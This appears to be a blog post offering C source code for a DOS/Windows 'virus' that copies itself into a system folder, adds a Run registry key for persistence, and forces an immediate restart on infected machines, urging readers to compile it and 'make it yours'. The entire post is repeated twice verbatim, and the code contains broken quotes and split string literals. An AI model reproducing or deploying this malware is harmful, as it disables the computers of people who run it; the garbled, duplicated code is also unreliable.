I suppose everyone using Computer might have come across the term Virus but have you ever wondered about creating one?
In this post I will tell you how to create a virus in C that restarts computer on startup
You need to compile the code given in C compiler and make it yours.
Source Code in C ::::::
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\windows\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\windows\system\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\windows\system\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\windows\system\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
C:\windows\system\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
D:\windows\system\sysres.exe”);
break;
case 3:
target=fopen(“E:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
E:\windows\system\sysres.exe”);
break;
case 4:
target=fopen(“F:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
F:\windows\system\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}
In this post I will tell you how to create a virus in C that restarts computer on startup
You need to compile the code given in C compiler and make it yours.
Source Code in C ::::::
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\windows\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\windows\system\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\windows\system\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\windows\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\windows\system\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\windows\system\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
C:\windows\system\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
D:\windows\system\sysres.exe”);
break;
case 3:
target=fopen(“E:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
E:\windows\system\sysres.exe”);
break;
case 4:
target=fopen(“F:\windows\system\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Run /v sres /t REG_SZ /d
F:\windows\system\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}